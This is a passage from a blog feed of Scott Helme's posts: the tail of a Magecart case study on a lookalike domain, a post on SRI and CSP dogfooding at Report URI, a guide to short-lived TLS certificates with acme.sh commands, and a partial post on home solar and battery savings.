id=\"esaspaceshoppics\">esaspaceshop.pics</h4><p>The attackers registered a lookalike domain for this attack, as they have done in countless attacks before. This is another method to avoid detection because this domain looks and feels familiar if anyone were to be poking around behind the scenes and come across it. Incidentally, if we observe our customers interacting with domains that have been registered in recent weeks or months, it is so often an enormous red flag and something that warrants immediate investigation.</p><p>Because this was a 'throwaway' domain for the attackers that's only useful in this particular attack, they don't tend to renew them and it lapsed only 12 months after it was first registered, allowing us to scoop up the domain and repurpose it to point to the ESA case study on the Report URI site. </p><p>You can test it out here: <a href=\"https://esaspaceshop.pics/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">https://esaspaceshop.pics</a> </p><p>In related news, we also own the domain used in the Ticketmaster Magecart Attack, <code>webfotce.me</code>, which you can test here <a href=\"https://webfotce.me/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">https://webfotce.me/</a></p><p></p><p>The purpose of those case studies, or blog posts like these, is not to point fingers, but to share information and educate. Alongside the obvious harm to users having their data stolen, organisations then have concerns around notifying customers of the data breach, regulatory action and possible fines for the data breach in various jurisdictions, a whole bunch of bad news headlines and maybe some consideration for the harm to the brand too. All of this can be avoided by understanding just how pervasive these type of attacks can be, but also, just how easy it can be to get started on solving the problem. If you want to see just how easy, reach out for a demo of <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a> along with a free trial, no commitment, and no strings attached: [email protected]</p><p></p>",
          "image": {
            "url": "https://scotthelme.ghost.io/content/images/2026/01/esa-blog.webp",
            "title": null
          },
          "media": [
            {
              "url": "https://scotthelme.ghost.io/content/images/2026/01/esa-blog.webp",
              "image": "https://scotthelme.ghost.io/content/images/2026/01/esa-blog.webp",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "javascript",
              "term": "javascript",
              "url": null
            },
            {
              "label": "magecart",
              "term": "magecart",
              "url": null
            },
            {
              "label": "European Space Agency",
              "term": "European Space Agency",
              "url": null
            }
          ]
        },
        {
          "id": "69638d1da2de7d0001fa2bb3",
          "title": "Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us",
          "description": "<p>Dogfooding is often talked about as a best practice, but I don't often see the results of such activities. For all new features introduced on <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a>, we are always the first to try them out and see how they work. In this post, we'll look</p>",
          "url": "https://scotthelme.ghost.io/eating-our-own-dogfood-what-running-report-uri-on-report-uri-taught-us/",
          "published": "2026-01-28T09:36:48.000Z",
          "updated": "2026-01-28T09:36:48.000Z",
          "content": "<img src=\"https://scotthelme.ghost.io/content/images/2026/01/dogfooding.webp\" alt=\"Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us\"><p>Dogfooding is often talked about as a best practice, but I don't often see the results of such activities. For all new features introduced on <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a>, we are always the first to try them out and see how they work. In this post, we'll look at a few examples of issues that we found on Report URI using Report URI, and how you can use our platform to identify exactly the same kind of problems!</p><p></p><h4 id=\"dogfooding\">Dogfooding</h4><p>If you're not familiar with the term dogfooding, or 'eating your own dogfood', here's how the Oxford English Dictionary defines it:</p><p></p><blockquote>Computing slang<br>Of a company or its employees: to use a product or service developed by the company, as a means of testing it before it is made available to customers.</blockquote><p></p><p>It's pretty straightforward and something that we've been doing quite literally since the dawn of Report URI over a decade ago. Any new feature that we introduce gets deployed on Report URI first of all, prompting changes, improvements or fixes as required. Once things are going well, we then introduce a small selection of our customers to participate in a closed beta, again to elicit feedback for the same improvement cycle. After that, the feature will go to an open beta, and finally on to general availability. We currently have two features in the final open beta stages of this process, <a href=\"https://scotthelme.co.uk/capture-javascript-integrity-metadata-using-csp/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">CSP Integrity</a> and <a href=\"https://scotthelme.co.uk/integrity-policy-monitoring-and-enforcing-the-use-of-sri/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Integrity Policy</a>, and it was during the dogfooding stage of these features that some of things we're doing to discuss were found.</p><p></p><h4 id=\"integrity-policyfinding-scripts-missing-sri-protection\">Integrity Policy - finding scripts missing SRI protection</h4><p>If you're not familiar with Subresource Integrity (SRI), you can read my blog post on <a href=\"https://scotthelme.co.uk/subresource-integrity/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Subresource Integrity: Securing CDN loaded assets</a>, but here's is a quick explainer. When loading a script tag, especially from a 3rd-party, we have no control over the script we get served, and that can lead to some pretty big problems if the script is modified in a malicious way. </p><p>SRI allows you to specify an integrity attribute on a script tag so that the browser can verify the file once it downloads it, protecting against malicious modification. Here's a simple example of a before and after for a script tag without SRI and then with SRI.</p><pre><code>//before\n<script src=\"https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js\">\n</script>\n\n//after\n<script src=\"https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js\" \nintegrity=\"sha256-ivk71nXhz9nsyFDoYoGf2sbjrR9ddh+XDkCcfZxjvcM=\" \ncrossorigin=\"anonymous\">\n</script></code></pre><p></p><p>There have been literally countless examples where SRI would have saved organisations from costly attacks and data breaches, including that time when <a href=\"https://scotthelme.co.uk/protect-site-from-cryptojacking-csp-sri/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">governments all around the World got hacked</a> because they didn't use it. That said, it can be difficult to enforce the use of SRI and make sure all of your script tags have it, until <a href=\"https://scotthelme.co.uk/integrity-policy-monitoring-and-enforcing-the-use-of-sri/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Integrity Policy</a> came along. You can now trivially ensure that all scripts across your application are loaded using SRI by adding a simple HTTP Response Header.</p><pre><code>Integrity-Policy-Report-Only: blocked-destinations=(script), endpoints=(default)</code></pre><p></p><p>This will ask the browser to send a report for any script that is loaded without using SRI, and then, of course, we can go and fix that!</p><p>Here's a couple that we'd missed. First, we had this one come through.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2026/01/image-16.png\" class=\"kg-image\" alt=\"Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us\" loading=\"lazy\" width=\"1742\" height=\"100\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-16.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-16.png 1000w, https://scotthelme.ghost.io/content/images/size/w1600/2026/01/image-16.png 1600w, https://scotthelme.ghost.io/content/images/2026/01/image-16.png 1742w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>This is interesting because it really should have SRI as something in the account section, and it turns out it almost did, but there was a typo!</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2026/01/image-15.png\" class=\"kg-image\" alt=\"Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us\" loading=\"lazy\" width=\"1449\" height=\"243\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-15.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-15.png 1000w, https://scotthelme.ghost.io/content/images/2026/01/image-15.png 1449w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>That's an easy fix, and we found another script without SRI a little later too.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2026/01/image-13.png\" class=\"kg-image\" alt=\"Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us\" loading=\"lazy\" width=\"1225\" height=\"375\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-13.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-13.png 1000w, https://scotthelme.ghost.io/content/images/2026/01/image-13.png 1225w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>This script was in our staff admin section and it was missing SRI, it was reported, and we fixed it!</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2026/01/image-14.png\" class=\"kg-image\" alt=\"Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us\" loading=\"lazy\" width=\"1447\" height=\"147\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-14.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-14.png 1000w, https://scotthelme.ghost.io/content/images/2026/01/image-14.png 1447w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Another great thing to consider about this is that you will only receive telemetry reports when there's a problem. If everything is running as it should be on your site, then no telemetry will be sent!</p><p></p><h4 id=\"content-security-policyfinding-assets-that-shouldnt-be-there\">Content Security Policy - finding assets that shouldn't be there</h4><p>The whole point of CSP is to get visibility into what's happening on your site, and that can be what assets are loading, where data is being communicated, and much more. Often, we're looking for indicators of malicious activity, like JavaScript that shouldn't be present, or data being somewhere it shouldn't be. But, sometimes, we can also detect mistakes that were made during development!</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2026/01/image-18.png\" class=\"kg-image\" alt=\"Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us\" loading=\"lazy\" width=\"1495\" height=\"163\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-18.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-18.png 1000w, https://scotthelme.ghost.io/content/images/2026/01/image-18.png 1495w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>We started getting reports for these images loading on our site and because they're not from an approved source, they were blocked and reported to us. Looking closely, the images are from our <code>.io</code> domain instead of our <code>.com</code> domain, which is what we use in test/dev environments, but not in production. It seems that someone had inadvertently hardcoded a hostname that they should not have hardcoded and our CSP let us know!</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2026/01/image-17.png\" class=\"kg-image\" alt=\"Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us\" loading=\"lazy\" width=\"1452\" height=\"103\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-17.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-17.png 1000w, https://scotthelme.ghost.io/content/images/2026/01/image-17.png 1452w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Another simple fix for an issue detected quickly and easily using CSP.</p><p></p><h4 id=\"but-normally-we-dont-find-anything\">But normally we don't find anything!</h4><p>Of course, you're only ever going to find a problem by deploying our product if you had a problem to find in the first place. Our goal is always to test these features out and make sure they're ready for our customers, but sometimes, we do happen to find issues in our own site.</p><p>I guess that's really part of the value proposition though, the difference between <em>thinking</em> you don't have a problem and <em>knowing</em> you don't have a problem. Whether or not we'd found anything by deploying these features, we'd have still massively improved our awareness because we could then be confident we didn't have those issues. </p><p>It just so happens that we didn't think we had any problems, but it turns out we did! Do you think you don't have any problems on your site?</p><p></p>",
          "image": {
            "url": "https://scotthelme.ghost.io/content/images/2026/01/dogfooding.webp",
            "title": null
          },
          "media": [
            {
              "url": "https://scotthelme.ghost.io/content/images/2026/01/dogfooding.webp",
              "image": "https://scotthelme.ghost.io/content/images/2026/01/dogfooding.webp",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "Content Security Policy",
              "term": "Content Security Policy",
              "url": null
            },
            {
              "label": "Integrity Policy",
              "term": "Integrity Policy",
              "url": null
            }
          ]
        },
        {
          "id": "694688d8ab4aac00016ee79e",
          "title": "Blink and you'll miss them: 6-day certificates are here!",
          "description": "<p>What a great way to start 2026! Let's Encrypt have now made their short-lived certificates <a href=\"https://letsencrypt.org/2026/01/15/6day-and-ip-general-availability?ref=scotthelme.ghost.io\" rel=\"noreferrer\">available</a>, so you can go and start using them right away.</p><p>It wasn't long ago when the <a href=\"https://scotthelme.co.uk/shorter-certificates-are-coming/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">announcement</a> came that by 2029, all certificates will be reduced to a maximum of</p>",
          "url": "https://scotthelme.ghost.io/blink-and-youll-miss-them-6-day-certificates-are-here/",
          "published": "2026-01-19T10:48:24.000Z",
          "updated": "2026-01-19T10:48:24.000Z",
          "content": "<img src=\"https://scotthelme.ghost.io/content/images/2026/01/6-day-certs.webp\" alt=\"Blink and you'll miss them: 6-day certificates are here!\"><p>What a great way to start 2026! Let's Encrypt have now made their short-lived certificates <a href=\"https://letsencrypt.org/2026/01/15/6day-and-ip-general-availability?ref=scotthelme.ghost.io\" rel=\"noreferrer\">available</a>, so you can go and start using them right away.</p><p>It wasn't long ago when the <a href=\"https://scotthelme.co.uk/shorter-certificates-are-coming/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">announcement</a> came that by 2029, all certificates will be reduced to a maximum of 47 days validity, and here we are already talking about certificates valid for less than 7 days. Let's Encrypt continue to drive the industry forwards and considerably exceed the reasonable expectations of today.</p><p></p><h4 id=\"getting-a-short-lived-certificate\">Getting a short-lived certificate</h4><p>Of course, what you want to know is how to get one of these certificates! How you do this will change slightly depending on which tool you're using, but you need to specify the <code>shortlived</code> certificate profile when requesting your certificate from Let's Encrypt.</p><p>I'm using <a href=\"https://acme.sh/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">acme.sh</a> and here is the command I used to get one of these certs when I started playing with this last year:</p><pre><code>acme.sh --issue --dns dns_cf -d six-days.scotthelme.co.uk --force --keylength ec-256 --server letsencrypt --cert-profile shortlived</code></pre><p></p><p>After the certificate was issued, I got my notification from Certificate Transparency monitoring via <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a>, and I could see the full details of the certificate. Here they are:</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2026/01/image.png\" class=\"kg-image\" alt=\"Blink and you'll miss them: 6-day certificates are here!\" loading=\"lazy\" width=\"870\" height=\"555\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2026/01/image.png 600w, https://scotthelme.ghost.io/content/images/2026/01/image.png 870w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Just look at that validity period!!</p><p><strong>Valid From</strong>: 15 Nov 2025<br><strong>Valid To</strong>: 22 Nov 2025</p><p>You can find the full details on the <code>shortlived</code> certificate profile from Let's Encrypt, and other supported profiles, on <a href=\"https://letsencrypt.org/docs/profiles/?ref=scotthelme.ghost.io#shortlived\" rel=\"noreferrer\">this page</a>. </p><p></p><h4 id=\"its-not-just-lets-encrypt\">It's not just Let's Encrypt</h4><p>The good news is that Let's Encrypt isn't the only place that you can get your 6-day certificates from either! <a href=\"https://scotthelme.co.uk/another-free-ca-to-use-via-acme/?ref=scotthelme.co.uk\" rel=\"noreferrer\">Google Trust Services</a> also allows you to obtain short-lived certificates, and they have a little more flexibility in that you can request a specific number of days too. Maybe you want 6 days, 12 days, 33 days... Just specify your desired validity period in the request with your ACME client:</p><pre><code>acme.sh --issue --dns dns_cf -d six-days.scotthelme.co.uk --keylength ec-256 --server https://dv.acme-v02.api.pki.goog/directory --extended-key-usage serverAuth --valid-to '+6d'</code></pre><p></p><p>That's another source of 6-day certificates for you, but it did get me wondering.</p><p></p><h4 id=\"how-low-can-you-go\">How low can you go?..</h4><p>Well, fellow certificate nerds, you read my mind!</p><p>The Let's Encrypt <code>shortlived</code> profile doesn't allow for configurable validity periods, none of their profiles do, but GTS does allow for configuration of the validity period... 😎</p><pre><code>acme.sh --issue --dns dns_cf -d one.scotthelme.co.uk --keylength ec-256 --server https://dv.acme-v02.api.pki.goog/directory --extended-key-usage serverAuth --valid-to '+1d'</code></pre><p></p><p>Yes, that command does work, and yes you do get a <strong>ONE-DAY CERTIFICATE</strong>!!</p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2026/01/image-1.png\" class=\"kg-image\" alt=\"Blink and you'll miss them: 6-day certificates are here!\" loading=\"lazy\" width=\"936\" height=\"608\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-1.png 600w, https://scotthelme.ghost.io/content/images/2026/01/image-1.png 936w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Just to prove that this really is a thing, here's the PEM encoded certificate!</p><pre><code>-----BEGIN CERTIFICATE-----\nMIIDdTCCAl2gAwIBAgIQAzk1h8YknV4TAJJazYXsrjANBgkqhkiG9w0BAQsFADA7\nMQswCQYDVQQGEwJVUzEeMBwGA1UEChMVR29vZ2xlIFRydXN0IFNlcnZpY2VzMQww\nCgYDVQQDEwNXUjEwHhcNMjUxMjE3MjEzNjE1WhcNMjUxMjE4MjIzNjExWjAfMR0w\nGwYDVQQDExRvbmUuc2NvdHRoZWxtZS5jby51azBZMBMGByqGSM49AgEGCCqGSM49\nAwEHA0IABN77LaCQqPHQ1Qx4CsEyiEVARRV5WP+qH9ZyLfO9GzJ+tLfDxROHvYPL\nYNaCgEiGBbkTOOPOX9qXJPz/g/2AQRejggFaMIIBVjAOBgNVHQ8BAf8EBAMCB4Aw\nEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUPnLq\nWpoXyBO+jzNGlH1qUr6SYHkwHwYDVR0jBBgwFoAUZmlJ1N4qnJEDz4kOJLgOMANu\niC4wXgYIKwYBBQUHAQEEUjBQMCcGCCsGAQUFBzABhhtodHRwOi8vby5wa2kuZ29v\nZy9zL3dyMS9BemswJQYIKwYBBQUHMAKGGWh0dHA6Ly9pLnBraS5nb29nL3dyMS5j\ncnQwHwYDVR0RBBgwFoIUb25lLnNjb3R0aGVsbWUuY28udWswEwYDVR0gBAwwCjAI\nBgZngQwBAgEwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2MucGtpLmdvb2cvd3Ix\nL0FwMDR2SjA1Q3lBLmNybDATBgorBgEEAdZ5AgQDAQH/BAIFADANBgkqhkiG9w0B\nAQsFAAOCAQEAMsMT7AsLtQqzm0FSsDBq33M9/FAz+Su86NQurk8MXXrSjUrdSKhh\nzTv2whJcC0W3aPhoqMeeqpsLYQ4AiLgBS2LPoJz2HuFsIfOddrpI3lOHXssT2Wpc\nMjofbwEOfkDk+jV/rqbz1q+cjbM2VGfoxILgcA7KxVZX0ylvZf52c2zpA9v+sXKu\npPFKHHDX2UNSfsPODmWLVWdfFk/ZFbr09urei8ZgdsJhRKABD9BW3aV8QP2dMISh\nOH6fWcJXrp/w1NjJqIKidMiMgaCe5TDb+j5gOJ+ZLVcKA4WdLtcVYpQIXiT8mIeO\nrCYNVSkFN4ZIONedfENemM5GgBqcqbpxMA==\n-----END CERTIFICATE-----</code></pre><p></p><h4 id=\"automation-is-king\">Automation is King</h4><p>The great thing about this, and I've been using these certs for weeks now, is that once you're using an ACME client, you're already automated, and once you're automated, the validity period really isn't relevant any more. I'm currently sticking with the 6-day certs, and I will alternate between Let's Encrypt and Google Trust Services, but running these automations more frequently to go from 90 days down to 6 days really doesn't change anything at all, so give it a try!</p><p></p>",
          "image": {
            "url": "https://scotthelme.ghost.io/content/images/2026/01/6-day-certs.webp",
            "title": null
          },
          "media": [
            {
              "url": "https://scotthelme.ghost.io/content/images/2026/01/6-day-certs.webp",
              "image": "https://scotthelme.ghost.io/content/images/2026/01/6-day-certs.webp",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Let's Encrypt",
              "term": "Let's Encrypt",
              "url": null
            },
            {
              "label": "Google Trust Services",
              "term": "Google Trust Services",
              "url": null
            },
            {
              "label": "TLS",
              "term": "TLS",
              "url": null
            },
            {
              "label": "Short-Lived Certificates",
              "term": "Short-Lived Certificates",
              "url": null
            }
          ]
        },
        {
          "id": "6962376aa2de7d0001fa2a36",
          "title": "What a Year of Solar and Batteries Really Saved Us in 2025",
          "description": "<p>Throughout 2025, I spoke a few times about our home energy solution, including our grid usage, our solar array and our Tesla Powerwall batteries. Now that I have a full year of data, I wanted to take a look at exactly how everything is working out, and, in alignment with</p>",
          "url": "https://scotthelme.ghost.io/what-a-year-of-solar-and-batteries-really-saved-us-in-2025/",
          "published": "2026-01-13T11:24:31.000Z",
          "updated": "2026-01-13T11:24:31.000Z",
          "content": "<img src=\"https://scotthelme.ghost.io/content/images/2026/01/2025-energy.webp\" alt=\"What a Year of Solar and Batteries Really Saved Us in 2025\"><p>Throughout 2025, I spoke a few times about our home energy solution, including our grid usage, our solar array and our Tesla Powerwall batteries. Now that I have a full year of data, I wanted to take a look at exactly how everything is working out, and, in alignment with our objectives, how much money we've saved!</p><p></p><h4 id=\"our-setup\">Our setup</h4><p>Just to give a quick overview of what we're working with, here are the details on our solar, battery and tariff situation:</p><ul><li>☀️Solar Panels: We have 14x Perlight solar panels managed by Enphase that make up the 4.2kWp array on our roof, and they produce energy when the sun shines, which isn't as often as I'd like in the UK!</li><li>🔋Tesla Powerwalls: We have 3x Tesla Powerwall 2 in our garage that were purchased to help us load-shift our energy usage. Electricity is very expensive in the UK and moving from peak usage which is 05:30 to 23:30 at ~£0.28/kWh, to off-peak usage, which is 23:30 - 05:30 at ~£0.07/kWh, is a significant cost saving.</li><li>💡Smart Tariff: My wife and I both drive electric cars and our electricity provider, Octopus Energy, has a Smart Charging tariff. If we plug in one of our cars, and cheap electricity is available, they will activate the charger and allow us to use the off-peak rate, even at peak times.</li></ul><p></p><p>Now that we have some basic info, let's get into the details!</p><p></p><h4 id=\"grid-import\">Grid Import</h4><p>I have 3 sources of data for our grid import, and all of them align pretty well in terms of their measurements. I have the amount our electricity supplier charged us for, I have my own CT Clamp going via a Shelly EM that feeds in to Home Assistant, and I have the Tesla Gateway which controls all grid import into our home.</p><p>Starting with my Home Assistant data, these are the relevant readings. </p><p>Jan 1st 2025 - 15,106.10 kWh<br>Dec 31st 2025 - 36,680.90 kWh<br>Total: 21,574.80 kWh<br><strong>Total Import: 21.6 MWh</strong></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2026/01/image-3.png\" class=\"kg-image\" alt=\"What a Year of Solar and Batteries Really Saved Us in 2025\" loading=\"lazy\" width=\"1138\" height=\"503\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-3.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-3.png 1000w, https://scotthelme.ghost.io/content/images/2026/01/image-3.png 1138w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>As you can see in the graph, during the summer months we have slightly lower grid usage and the graph line climbs at a lower rate, but overall, we have pretty consistent usage. Looking at what our energy supplier charged, us for, that comes in slightly lower.</p><p><strong>Total Import: 20.1 MWh</strong></p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2026/01/image-8.png\" class=\"kg-image\" alt=\"What a Year of Solar and Batteries Really Saved Us in 2025\" loading=\"lazy\" width=\"997\" height=\"577\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-8.png 600w, https://scotthelme.ghost.io/content/images/2026/01/image-8.png 997w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>I'm going to use the figure provided by our energy supplier in my calculations because their equipment is likely more accurate than mine, and also, what they're charging me is the ultimate thing that matters. The final source is our Tesla Gateway, which shows us having imported 21.0 MWh.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2026/01/image-11.png\" class=\"kg-image\" alt=\"What a Year of Solar and Batteries Really Saved Us in 2025\" loading=\"lazy\" width=\"1290\" height=\"1568\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-11.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-11.png 1000w, https://scotthelme.ghost.io/content/images/2026/01/image-11.png 1290w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>It's great to see how all of these sources of data align so poorly! 😅</p><h4 id=\"grid-export\">Grid Export</h4><p>Looking at our export, the graph tells a slightly different story because, as you can see, we didn't really start exporting properly until June, when our export tariff was activated. Prior to June, it simply wasn't worth exporting as we were only getting £0.04/kWh but at the end of May, our export tariff went live and we were then getting paid £0.15/kWh for export. My <a href=\"https://scotthelme.co.uk/automation-improvements-after-a-tesla-powerwall-outage/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">first</a> and <a href=\"https://scotthelme.co.uk/v2-hacking-my-tesla-powerwalls-to-be-the-ultimate-home-energy-solution/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">second</a> blog posts cover the full details of this change when it happened if you'd like to read them but for now, just note that it will change the calculations a little later as we only had export for 60% of the year.</p><p><strong>Total Export: 6.0 MWh</strong></p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2026/01/image-9.png\" class=\"kg-image\" alt=\"What a Year of Solar and Batteries Really Saved Us in 2025\" loading=\"lazy\" width=\"989\" height=\"582\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-9.png 600w, https://scotthelme.ghost.io/content/images/2026/01/image-9.png 989w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>With our grid export covered the final piece of the puzzle is to look at our solar.</p><p></p><h4 id=\"solar-production\">Solar Production</h4><p>We're really not in the best part of the world for generating solar power, but we've still managed to produce quite a bit of power. Even in the most ideal, perfect scenario, our solar array can only generate 4.2kW of power, and we're definitely never getting near that. Our peak production was 2.841kW on 8th July at 13:00, and you can see our full annual production graph here. </p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2026/01/image-12.png\" class=\"kg-image\" alt=\"What a Year of Solar and Batteries Really Saved Us in 2025\" loading=\"lazy\" width=\"1582\" height=\"513\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-12.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-12.png 1000w, https://scotthelme.ghost.io/content/images/2026/01/image-12.png 1582w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Looking at the total energy production for the entire array, you can see it pick up through the sunnier months but remain quite flat during the darker days of the year.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2026/01/image-2.png\" class=\"kg-image\" alt=\"What a Year of Solar and Batteries Really Saved Us in 2025\" loading=\"lazy\" width=\"1132\" height=\"504\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-2.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-2.png 1000w, https://scotthelme.ghost.io/content/images/2026/01/image-2.png 1132w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Jan 1st 2025 - 2.709 MWh<br>Dec 31st 2025 - 5.874 MWh<br><strong>Solar Production: 3.2 MWh</strong></p><p></p><p>Just to confirm, I also took a look at the Enphase app, which is drawing it's data from the same source to be fair, and it agrees with the 3.2 MWh of generation.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://scotthelme.ghost.io/content/images/2026/01/image-4.png\" class=\"kg-image\" alt=\"What a Year of Solar and Batteries Really Saved Us in 2025\" loading=\"lazy\" width=\"1157\" height=\"560\" srcset=\"https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-4.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-4.png 1000w, https://scotthelme.ghost.io/content/images/2026/01/image-4.png 1157w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><h4 id=\"calculating-the-savings\">Calculating the savings</h4><p>This isn't exactly straightforward because of the combination of our solar array and excess import/export due to the batteries, but here are the numbers I'm currently working on.</p><p><strong>Total Import: 20.1 MWh<br>Total Export: 6.0 MWh<br>Solar Production: 3.2 MWh</strong></p><p></p><p>That gives us a total household usage of 17.3 MWh.</p><p>(20.1 MWh import + 3.2 MWh solar) − 6.0 MWh export = 17.3 MWh usage</p><p>If we didn't have the solar array providing power, the full 17.3 MWh of consumption would have been chargeable from our provider. If we had only the solar and no battery, assuming a perfect ability to utilise our solar generation, only 14.1 MWh of our usage would need to be imported. The cost of those units of solar generation can be viewed at the peak and off-peak rates as follows.</p><p>Peak rate: 3,200 kWh x £0.28/kWh = £896<br>Off-peak rate: 3,200 kWh x £0.07/kWh = £224</p><p>Given that solar panels only produce during peak electricity rates, it would be reasonable to use the higher price here. A consideration for us though is that we do have batteries, and we're able to load-shift all of our usage into the off-peak rate, so arguably the solar panels only made £224 of electricity. </p><p>The bigger savings come when we start to look at the cost of the grid import. Assuming we had no solar panels, we'd have imported 17.3 MWh of electricity, and with the solar panels and perfect utilisation, we'd have imported 14.1 MWh of electricity. That's quite a lot of electricity and calculating the different costs of peak vs. off-peak by using batteries to load shift our usage gives some quite impressive results.</p><p>Peak rate: 17,300 kWh x £0.28/kWh = £4,844<br>Peak rate with solar: 14,100 kWh x £0.28 = £3,948</p><p>Off-peak rate: 17,300 kWh x £0.07/kWh = £1,211<br>Off-peak rate with solar: 14,100 kWh x £0.07/kWh = £987</p><p>This means there's a potential swing from £4,844 down to £987 with solar and battery, a total potential saving of £3,857!</p><p>This also tracks if we look at our monthly spend on electricity which went from £350-£400 per month down to £50-£100 per month depending on the time of year. But it gets better.</p><p></p><h4 id=\"exporting-excess-energy\">Exporting excess energy</h4><p>Our solar array generates almost nothing in the winter months so our batteries are sized to allow for a full day of usage with basically no solar support. We can go from the start of the peak rate at 05:30 all the way to the off-peak rate at 23:30 without using any grid power. When it comes to the summer months, though, our solar array is producing a lot of power and we 